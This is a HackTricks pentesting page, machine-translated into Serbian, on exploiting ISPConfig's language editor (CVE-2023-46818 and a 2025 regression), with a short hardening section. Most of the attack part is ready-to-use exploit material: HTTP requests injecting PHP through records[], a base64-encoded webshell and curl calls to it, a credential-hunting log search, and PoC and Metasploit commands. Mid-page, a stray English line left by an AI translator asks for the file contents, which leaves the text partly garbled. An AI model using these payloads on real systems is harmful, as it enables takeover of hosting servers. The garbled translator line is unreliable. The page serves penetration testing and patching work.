ISPConfig

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale editor jezičkih fajlova koji je, kada je omogućen za super administratora, dozvoljavao proizvoljno PHP code injection putem malformisanog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do privilege escalation.

Ključne podrazumevane putanje:

  • Web root se često nalazi na /var/www/ispconfig kada se servira sa php -S ili preko Apache/nginx.
  • Admin UI je dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno).

Savet: Ako je panel vezan lokalno (npr. 127.0.0.1:8080), proslijedite ga:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Uređivač jezika PHP code injection (CVE-2023-46818)

  • Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preduslovi:
  • Prijava kao ugrađeni superadmin nalog admin (prema dobavljaču, ostale uloge nisu pogođene)
  • Uređivač jezika mora biti omogućen: admin_allow_langedit=yes u /usr/local/ispconfig/security/security_settings.ini
  • Uticaj: Autentifikovani admin može da injektuje proizvoljan PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, omogućavajući RCE u web kontekstu

Reference: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Ručni tok eksploatacije

  1. Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene

Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (csrf_id, csrf_key). Primer putanje zahteva: /admin/language_edit.php.

  1. Injektujte PHP preko records[] i sačuvajte

Pošaljite drugi POST uključujući CSRF polja i maliciozni zapis prevoda. Minimalne probe za izvršavanje komandi:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (posmatraj ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Pisanje fajlova i postavljanje webshell-a

Koristite file_put_contents da kreirate fajl u web-dostupnom direktorijumu (npr. admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Zatim napišite jednostavan webshell koristeći base64 da biste izbegli loše karaktere u POST telu:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don’t have the file contents. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md here (or confirm you want me to use a specific excerpt), and I’ll translate the relevant English text to Serbian keeping the Markdown/HTML tags intact.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Ako se PHP izvršava kao root (npr. preko php -S 127.0.0.1:8080 pokrenutog od strane root), to dovodi do trenutnog root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.

2025 regresija (ISPConfig 3.3.0 / 3.3.0p1)

Greška u editoru jezika se ponovo pojavila u 3.3.0/3.3.0p1 i ispravljena je u 3.3.0p2. Preduslovi su nepromenjeni (admin_allow_langedit i admin login). Ista ispravka je takođe rešila monitor XSS i rotirane logove koji su čitljivi svima.

Napomene:

  • Na 3.3.0/3.3.0p1, rotirani logovi čitljivi svima pod /usr/local/ispconfig/interface/log/ mogu leak credentials ako je debug logging bio omogućen:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit koraci odgovaraju CVE-2023-46818; 3.3.0p2 dodaje dodatne provere pre uređivanja jezika.

Python PoC

Spreman za upotrebu exploit automatizuje token handling i payload delivery:

Primer pokretanja:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (objavljen u julu 2025)

Rapid7 je dodao exploit/linux/http/ispconfig_lang_edit_php_code_injection, koji može automatski omogućiti admin_allow_langedit ako navedeni administratorski nalog ima system-config prava.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Modul upisuje base64-encoded payload kroz records[] i izvršava ga, dajući PHP Meterpreter ili prilagođeni payload.

Ojačavanje

  • Nadogradite na 3.2.11p1 ili noviju verziju za originalni problem, i na 3.3.0p2 ili noviju za regresiju iz 2025.
  • Onemogućite uređivač jezika osim ako nije strogo neophodan:
admin_allow_langedit=no
  • Ne pokrećite panel kao root; konfigurišite PHP-FPM ili web server da spuste privilegije
  • Obezbedite jaku autentifikaciju za ugrađeni admin nalog

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks